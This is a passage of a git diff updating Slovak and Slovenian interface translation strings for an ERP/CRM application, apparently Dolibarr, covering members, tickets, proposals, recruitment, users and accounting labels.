need to be logged and you need permissions to view or download the file Download=Download DownloadDocument=Download document +DownloadSignedDocument=Download signed document ActualizeCurrency=Update currency rate Fiscalyear=Fiškálny rok ModuleBuilder=Module and Application Builder @@ -1041,6 +1056,7 @@ SearchIntoContracts=Zmluvy SearchIntoCustomerShipments=Customer shipments SearchIntoExpenseReports=Expense reports SearchIntoLeaves=Leave +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Vendor payments @@ -1132,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=On hold Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Sadzba +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1164,3 +1194,19 @@ NotClosedYet=Not yet closed ClearSignature=Reset signature CanceledHidden=Canceled hidden CanceledShown=Canceled shown +Terminate=Terminate +Terminated=Terminated +AddLineOnPosition=Add line on position (at the end if empty) +ConfirmAllocateCommercial=Assign sales representative confirmation +ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=Your message +YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. +UrlToCheck=Url to check +Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Interný užívateľ +ExternalUser=Externý užívateľ diff --git a/htdocs/langs/sk_SK/members.lang b/htdocs/langs/sk_SK/members.lang index 4bb80890494..388ace2e369 100644 --- a/htdocs/langs/sk_SK/members.lang +++ b/htdocs/langs/sk_SK/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Ďalší člen (meno: %s, logi ErrorUserPermissionAllowsToLinksToItselfOnly=Z bezpečnostných dôvodov musí byť udelené povolenie na úpravu, aby všetci užívatelia mohli spojiť člena užívateľa, ktorá nie je vaša. SetLinkToUser=Odkaz na užívateľovi Dolibarr SetLinkToThirdParty=Odkaz na Dolibarr tretej osobe +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Zoznam členov MembersListToValid=Zoznam návrhov členov (má byť overený) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Nový člen @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Member type can not be deleted NewSubscription=Nový príspevok NewSubscriptionDesc=Táto forma umožňuje nahrávať vaše predplatné ako nový člen nadácie. Ak chcete obnoviť predplatné (ak je už člen), kontaktujte Správna rada Nadácie miesto e-mailom %s. Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Trvanie +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Neskoro SubscriptionNotReceived=Contribution never received @@ -136,7 +144,7 @@ CardContent=Obsah vašej členskú kartu # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=We want to let you know that your membership request was received.

      ThisIsContentOfYourMembershipWasValidated=We want to let you know that your membership was validated with the following information:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.

      ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Obrat (pre firmu), alebo rozpočet (pre nadáciu) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Prejsť na integrované on-line platobné stránky +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=By nature MembersStatisticsByProperties=Members statistics by nature VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/sk_SK/other.lang b/htdocs/langs/sk_SK/other.lang index 4d1c0b2f2f7..994cd5e00c8 100644 --- a/htdocs/langs/sk_SK/other.lang +++ b/htdocs/langs/sk_SK/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Purchase order approved Notify_ORDER_SUPPLIER_REFUSE=Purchase order refused Notify_PROPAL_VALIDATE=Zákazník návrh overená Notify_PROPAL_CLOSE_SIGNED=Customer proposal closed signed +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Customer proposal closed refused +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Komerčné návrh zaslať poštou Notify_WITHDRAW_TRANSMIT=Prevodovka stiahnutiu Notify_WITHDRAW_CREDIT=Kreditné stiahnutiu @@ -181,6 +183,7 @@ SizeUnitfoot=noha SizeUnitpoint=bod BugTracker=Hlásenie chýb SendNewPasswordDesc=This form allows you to request a new password. It will be sent to your email address.
      Change will become effective once you click on the confirmation link in the email.
      Check your inbox. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Späť na prihlasovaciu stránku AuthenticationDoesNotAllowSendNewPassword=Režim overovania je %s.
      V tomto režime je možné Dolibarr neviem ani zmeniť heslo.
      Obráťte sa na správcu systému, či chcete zmeniť heslo. EnableGDLibraryDesc=Install or enable GD library on your PHP installation to use this option. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Invoice %s has been validated. EMailTextInvoicePayed=Invoice %s has been paid. EMailTextProposalValidated=Proposal %s has been validated. EMailTextProposalClosedSigned=Proposal %s has been closed signed. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Order %s has been validated. EMailTextOrderApproved=Order %s has been approved. EMailTextOrderValidatedBy=Order %s has been recorded by %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = Zavrieť Autofill = Autofill + +# externalsite +ExternalSiteSetup=Nastavenie odkaz na externé webové stránky +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=Modul ExternalSite nebol správne nakonfigurovaný. +ExampleMyMenuEntry=My menu entry + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=Nepodarilo sa odstrániť súbor %s. +FTPFailedToRemoveDir=Failed to remove directory %s: check permissions and that the directory is empty. +FTPPassiveMode=Pasívny režim +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=Získanie súborov %s zlyhalo +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/sk_SK/propal.lang b/htdocs/langs/sk_SK/propal.lang index 0dc291e467d..eaf577101c7 100644 --- a/htdocs/langs/sk_SK/propal.lang +++ b/htdocs/langs/sk_SK/propal.lang @@ -54,6 +54,7 @@ NoDraftProposals=Žiadne návrhy riešení CopyPropalFrom=Vytvorenie obchodné návrh skopírovaním existujúceho návrhu CreateEmptyPropal=Create empty commercial proposal or from list of products/services DefaultProposalDurationValidity=Predvolené komerčné Návrh platnosť doba (v dňoch) +DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Use contact/address with type 'Contact following-up proposal' if defined instead of third party address as proposal recipient address ConfirmClonePropal=Určite chcete duplikovať komerčnú ponuku %s? ConfirmReOpenProp=Určite chcete znova otvoriť komerčnú ponuku %s? @@ -64,36 +65,54 @@ AvailabilityPeriod=Dostupnosť meškanie SetAvailability=Nastavte si obsadenosť meškanie AfterOrder=po objednaní OtherProposals=Ďalšie návrhy + ##### Availability ##### AvailabilityTypeAV_NOW=Bezprostredný AvailabilityTypeAV_1W=1 týždeň AvailabilityTypeAV_2W=2 týždne AvailabilityTypeAV_3W=3 týždne AvailabilityTypeAV_1M=1 mesiac -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Zástupca nasledujúce vypracovaného návrhu TypeContact_propal_external_BILLING=Zákazník faktúra kontakt TypeContact_propal_external_CUSTOMER=Kontakt so zákazníkom nasledujúce vypracovaného návrhu TypeContact_propal_external_SHIPPING=Customer contact for delivery + # Document models -DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) -DocModelCyanDescription=A complete proposal model +CantBeNoSign=cannot be set not signed +CaseFollowedBy=Case followed by +ConfirmMassNoSignature=Bulk Not signed confirmation +ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? +ConfirmMassSignature=Bulk Signature confirmation +ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=Predvolená šablóna pri zatváraní obchodnej návrh (nevyfakturované) DefaultModelPropalCreate=Predvolené model, tvorba DefaultModelPropalToBill=Predvolená šablóna pri zatváraní obchodnej návrh (bude faktúrovať) -DefaultModelPropalClosed=Predvolená šablóna pri zatváraní obchodnej návrh (nevyfakturované) +DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) +DocModelCyanDescription=A complete proposal model +FichinterSigned=Intervention signed +IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft +LineBuyPriceHT=Buy Price Amount net of tax for line +NoSign=Odmietnuť +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted ProposalCustomerSignature=Písomná akceptácia, firemná pečiatka, dátum a podpis ProposalsStatisticsSuppliers=Vendor proposals statistics -CaseFollowedBy=Case followed by -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal RefusePropal=Refuse proposal Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Signed only diff --git a/htdocs/langs/sk_SK/recruitment.lang b/htdocs/langs/sk_SK/recruitment.lang index 1d3931dc484..cc8ccd8eae8 100644 --- a/htdocs/langs/sk_SK/recruitment.lang +++ b/htdocs/langs/sk_SK/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used NewCandidature=New application ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +Remuneration=Mzda +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused RecruitmentCandidature=Application JobPositions=Job positions RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +InterviewToDo=Contacts to follow AnswerCandidature=Application answer YourCandidature=Your application YourCandidatureAnswerMessage=Thanks you for your application.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=The job position is closed. ExtrafieldsJobPosition=Complementary attributes (job positions) ExtrafieldsApplication=Complementary attributes (job applications) MakeOffer=Make an offer +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/sk_SK/ticket.lang b/htdocs/langs/sk_SK/ticket.lang index 50f06952d99..1527ba34cb0 100644 --- a/htdocs/langs/sk_SK/ticket.lang +++ b/htdocs/langs/sk_SK/ticket.lang @@ -27,6 +27,7 @@ Permission56003=Delete tickets Permission56004=Manage tickets Permission56005=See tickets of all third parties (not effective for external users, always be limited to the third party they depend on) +Tickets=Tickets TicketDictType=Ticket - Types TicketDictCategory=Ticket - Groupes TicketDictSeverity=Ticket - Severities @@ -90,15 +91,17 @@ TicketPublicAccess=A public interface requiring no identification is available a TicketSetupDictionaries=The type of ticket, severity and analytic codes are configurable from dictionaries TicketParamModule=Module variable setup TicketParamMail=Email setup -TicketEmailNotificationFrom=Notification email from -TicketEmailNotificationFromHelp=Used into ticket message answer by example -TicketEmailNotificationTo=Notifications email to -TicketEmailNotificationToHelp=Send email notifications to this address. +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com +TicketEmailNotificationTo=Notify ticket creation to this e-mail address +TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Text message sent after creating a ticket TicketNewEmailBodyHelp=The text specified here will be inserted into the email confirming the creation of a new ticket from the public interface. Information on the consultation of the ticket are automatically added. TicketParamPublicInterface=Public interface setup TicketsEmailMustExist=Require an existing email address to create a ticket TicketsEmailMustExistHelp=In the public interface, the email address should already be filled in the database to create a new ticket. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Public interface TicketUrlPublicInterfaceLabelAdmin=Alternative URL for public interface TicketUrlPublicInterfaceHelpAdmin=It is possible to define an alias to the web server and thus make available the public interface with another URL (the server must act as a proxy on this new URL) @@ -136,6 +139,20 @@ TicketsPublicNotificationNewMessage=Send email(s) when a new message/comment is TicketsPublicNotificationNewMessageHelp=Send email(s) when a new message is added from public interface (to assigned user or the notifications email to (update) and/or the notifications email to) TicketPublicNotificationNewMessageDefaultEmail=Notifications email to (update) TicketPublicNotificationNewMessageDefaultEmailHelp=Send an email to this address for each new message notifications if the ticket doesn't have a user assigned to it or if the user doesn't have any known email. +TicketsAutoReadTicket=Automatically mark the ticket as read (when created from backoffice) +TicketsAutoReadTicketHelp=Automatically mark the ticket as read when created from backoffice. When ticket is create from the public interface, ticket remains with the status "Not Read". +TicketsDelayBeforeFirstAnswer=A new ticket should receive a first answer before (hours): +TicketsDelayBeforeFirstAnswerHelp=If a new ticket has not received an answer after this time period (in hours), an important warning icon will be displayed in the list view. +TicketsDelayBetweenAnswers=An unresolved ticket should not be unactive during (hours): +TicketsDelayBetweenAnswersHelp=If an unresolved ticket that has already received an answer has not had further interaction after this time period (in hours), a warning icon will be displayed in the list view. +TicketsAutoNotifyClose=Automatically notify thirdparty when closing a ticket +TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a message to one of thirdparty's contacts. On mass closing, a message will be sent to one contact of the thirdparty linked to the ticket. +TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. +TicketChooseProductCategory=Product category for ticket support +TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. + # # Index & list page # @@ -151,6 +168,8 @@ OrderByDateAsc=Sort by ascending date OrderByDateDesc=Sort by descending date ShowAsConversation=Show as conversation list MessageListViewType=Show as table list +ConfirmMassTicketClosingSendEmail=Automatically send emails when closing tickets +ConfirmMassTicketClosingSendEmailQuestion=Do you want to notify thirdparties when closing these tickets ? # # Ticket card @@ -176,8 +195,7 @@ TicketAssigned=Ticket is now assigned TicketChangeType=Change type TicketChangeCategory=Change analytic code TicketChangeSeverity=Change severity -TicketAddMessage=Add a message -AddMessage=Add a message +TicketAddMessage=Add private message MessageSuccessfullyAdded=Ticket added TicketMessageSuccessfullyAdded=Message successfully added TicketMessagesList=Message list @@ -188,8 +206,8 @@ TicketSeverity=Severity ShowTicket=See ticket RelatedTickets=Related tickets TicketAddIntervention=Vytvoriť zásah -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=Confirm ticket closing ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -203,18 +221,17 @@ SendMessageByEmail=Send message by email TicketNewMessage=New message ErrorMailRecipientIsEmptyForSendTicketMessage=Recipient is empty. No email send TicketGoIntoContactTab=Please go into "Contacts" tab to select them -TicketMessageMailIntro=Introduction +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=This text is added only at the beginning of the email and will not be saved. -TicketMessageMailIntroLabelAdmin=Introduction to the message when sending email -TicketMessageMailIntroText=Hello,
      A new response was sent on a ticket that you contact. Here is the message:
      -TicketMessageMailIntroHelpAdmin=This text will be inserted before the text of the response to a ticket. -TicketMessageMailSignature=Podpis -TicketMessageMailSignatureHelp=This text is added only at the end of the email and will not be saved. -TicketMessageMailSignatureText=

      Sincerely,

      --

      -TicketMessageMailSignatureLabelAdmin=Signature of response email -TicketMessageMailSignatureHelpAdmin=This text will be inserted after the response message. +TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      +TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Only this text will be saved in the message list on ticket card. TicketMessageSubstitutionReplacedByGenericValues=Substitutions variables are replaced by generic values. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Time elapsed since TicketTimeToRead=Time elapsed before read TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -225,6 +242,7 @@ TicketMessageMailIntroAutoNewPublicMessage=A new message was posted on the ticke TicketAssignedToYou=Ticket assigned TicketAssignedEmailBody=You have been assigned the ticket #%s by %s MarkMessageAsPrivate=Mark message as private +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=This message will not display to external users TicketEmailOriginIssuer=Issuer at origin of the tickets InitialMessage=Initial Message @@ -238,9 +256,16 @@ TicketChangeStatus=Change status TicketConfirmChangeStatus=Confirm the status change: %s ? TicketLogStatusChanged=Status changed: %s to %s TicketNotNotifyTiersAtCreate=Not notify company at create +NotifyThirdpartyOnTicketClosing=Contacts to notify while closing the ticket +TicketNotifyAllTiersAtClose=All related contacts +TicketNotNotifyTiersAtClose=No related contact Unread=Unread TicketNotCreatedFromPublicInterface=Not available. Ticket was not created from public interface. ErrorTicketRefRequired=Ticket reference name is required +TicketsDelayForFirstResponseTooLong=Too much time elapsed since ticket opening without any answer. +TicketsDelayFromLastResponseTooLong=Too much time elapsed since last answer on this ticket. +TicketNoContractFoundToLink=No contract was found to be automatically linked to this ticket. Please link a contract manually. +TicketManyContractsLinked=Many contracts have been automatically linked to this ticket. Make sure to verify which should be chosen. # # Logs @@ -268,11 +293,12 @@ TicketNewEmailBody=This is an automatic email to confirm you have registered a n TicketNewEmailBodyCustomer=This is an automatic email to confirm a new ticket has just been created into your account. TicketNewEmailBodyInfosTicket=Information for monitoring the ticket TicketNewEmailBodyInfosTrackId=Ticket tracking number: %s -TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the link above. +TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the following link TicketNewEmailBodyInfosTrackUrlCustomer=You can view the progress of the ticket in the specific interface by clicking the following link +TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Please do not reply directly to this email! Use the link to reply into the interface. TicketPublicInfoCreateTicket=This form allows you to record a support ticket in our management system. -TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe the problem. Provide the most information possible to allow us to correctly identify your request. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Please enter ticket tracking ID TicketTrackId=Public Tracking ID OneOfTicketTrackId=One of your tracking ID @@ -291,6 +317,10 @@ NewUser=Nový užívateľ NumberOfTicketsByMonth=Number of tickets per month NbOfTickets=Number of tickets # notifications +TicketCloseEmailSubjectCustomer=Ticket closed +TicketCloseEmailBodyCustomer=This is an automatic message to notify you that ticket %s has just been closed. +TicketCloseEmailSubjectAdmin=Ticket closed - Réf %s (public ticket ID %s) +TicketCloseEmailBodyAdmin=A ticket with ID #%s has just been closed, see information: TicketNotificationEmailSubject=Ticket %s updated TicketNotificationEmailBody=This is an automatic message to notify you that ticket %s has just been updated TicketNotificationRecipient=Notification recipient diff --git a/htdocs/langs/sk_SK/users.lang b/htdocs/langs/sk_SK/users.lang index e26a9ce920d..4cef7513e36 100644 --- a/htdocs/langs/sk_SK/users.lang +++ b/htdocs/langs/sk_SK/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Odstrániť zo skupiny PasswordChangedAndSentTo=Heslo bolo zmenené a poslaný do %s. PasswordChangeRequest=Request to change password for %s PasswordChangeRequestSent=Žiadosť o zmenu hesla %s zaslaná %s. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Confirm password reset MenuUsersAndGroups=Používatelia a skupiny @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Vytvoriť používateľa CreateDolibarrThirdParty=Vytvorte tretiu stranu -LoginAccountDisableInDolibarr=Účet bol zakázaný v Dolibarr. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Používajte osobnú hodnotu -InternalUser=Interný užívateľ ExportDataset_user_1=Users and their properties DomainUser=Užívateľ domény %s Reactivate=Reaktivácia @@ -114,7 +114,7 @@ UserLogoff=Odhlásiť užívateľa UserLogged=Užívateľ prihlásený DateOfEmployment=Employment date DateEmployment=Employment -DateEmploymentstart=Employment Start Date +DateEmploymentStart=Employment Start Date DateEmploymentEnd=Employment End Date RangeOfLoginValidity=Access validity date range CantDisableYourself=You can't disable your own user record @@ -124,3 +124,12 @@ ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of th UserPersonalEmail=Personal email UserPersonalMobile=Personal mobile phone WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +DateLastLogin=Date last login +DatePreviousLogin=Date previous login +IPLastLogin=IP last login +IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/sl_SI/accountancy.lang b/htdocs/langs/sl_SI/accountancy.lang index 79530e63cc7..90dd901e7d5 100644 --- a/htdocs/langs/sl_SI/accountancy.lang +++ b/htdocs/langs/sl_SI/accountancy.lang @@ -2,436 +2,483 @@ Accountancy=Računovodstvo Accounting=Računovodstvo ACCOUNTING_EXPORT_SEPARATORCSV=Ločilo za stolpce za izvozno datoteko -ACCOUNTING_EXPORT_DATE=Format datuma za izvozno datoteko -ACCOUNTING_EXPORT_PIECE=Export the number of piece -ACCOUNTING_EXPORT_GLOBAL_ACCOUNT=Export with global account -ACCOUNTING_EXPORT_LABEL=Izvozi naziv +ACCOUNTING_EXPORT_DATE=Oblika datuma za izvozno datoteko +ACCOUNTING_EXPORT_PIECE=Izvozi število kosov +ACCOUNTING_EXPORT_GLOBAL_ACCOUNT=Izvozi z globalnim računom +ACCOUNTING_EXPORT_LABEL=Izvozi oznako ACCOUNTING_EXPORT_AMOUNT=Izvozi znesek ACCOUNTING_EXPORT_DEVISE=Izvozi valuto -Selectformat=Select the format for the file -ACCOUNTING_EXPORT_FORMAT=Select the format for the file -ACCOUNTING_EXPORT_ENDLINE=Select the carriage return type +Selectformat=Izbira formata datoteke +ACCOUNTING_EXPORT_FORMAT=Izbira formata datoteke +ACCOUNTING_EXPORT_ENDLINE=Izberite vrsto vrnitve v začetek ACCOUNTING_EXPORT_PREFIX_SPEC=Specify the prefix for the file name -ThisService=This service -ThisProduct=This product -DefaultForService=Default for service -DefaultForProduct=Default for product -ProductForThisThirdparty=Product for this thirdparty -ServiceForThisThirdparty=Service for this thirdparty -CantSuggest=Can't suggest -AccountancySetupDoneFromAccountancyMenu=Most setup of the accountancy is done from the menu %s -ConfigAccountingExpert=Configuration of the module accounting (double entry) -Journalization=Journalization +ThisService=Ta storitev +ThisProduct=Ta izdelek +DefaultForService=Default for services +DefaultForProduct=Default for products +ProductForThisThirdparty=Izdelek za tega partnerja +ServiceForThisThirdparty=Storitev za tega partnerja +CantSuggest=Ne morem predlagati +AccountancySetupDoneFromAccountancyMenu=Večino nastavitev računovodstva izvedemo iz menija %s +ConfigAccountingExpert=Konfiguracija modula računovodstvo (dvojni vnos) +Journalization=Časopisje Journals=Revije JournalFinancial=Finančne revije BackToChartofaccounts=Prikaz kontnega plana Chartofaccounts=Kontni plan -ChartOfSubaccounts=Chart of individual accounts -ChartOfIndividualAccountsOfSubsidiaryLedger=Chart of individual accounts of the subsidiary ledger -CurrentDedicatedAccountingAccount=Current dedicated account -AssignDedicatedAccountingAccount=New account to assign -InvoiceLabel=Invoice label -OverviewOfAmountOfLinesNotBound=Overview of amount of lines not bound to an accounting account -OverviewOfAmountOfLinesBound=Overview of amount of lines already bound to an accounting account -OtherInfo=Other information -DeleteCptCategory=Remove accounting account from group -ConfirmDeleteCptCategory=Are you sure you want to remove this accounting account from the accounting account group? -JournalizationInLedgerStatus=Status of journalization -AlreadyInGeneralLedger=Already transferred to accounting journals and ledger -NotYetInGeneralLedger=Not yet transferred to accouting journals and ledger -GroupIsEmptyCheckSetup=Group is empty, check setup of the personalized accounting group -DetailByAccount=Show detail by account -AccountWithNonZeroValues=Accounts with non-zero values -ListOfAccounts=List of accounts -CountriesInEEC=Countries in EEC -CountriesNotInEEC=Countries not in EEC -CountriesInEECExceptMe=Countries in EEC except %s -CountriesExceptMe=All countries except %s -AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. -ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. -VueByAccountAccounting=View by accounting account -VueBySubAccountAccounting=View by accounting 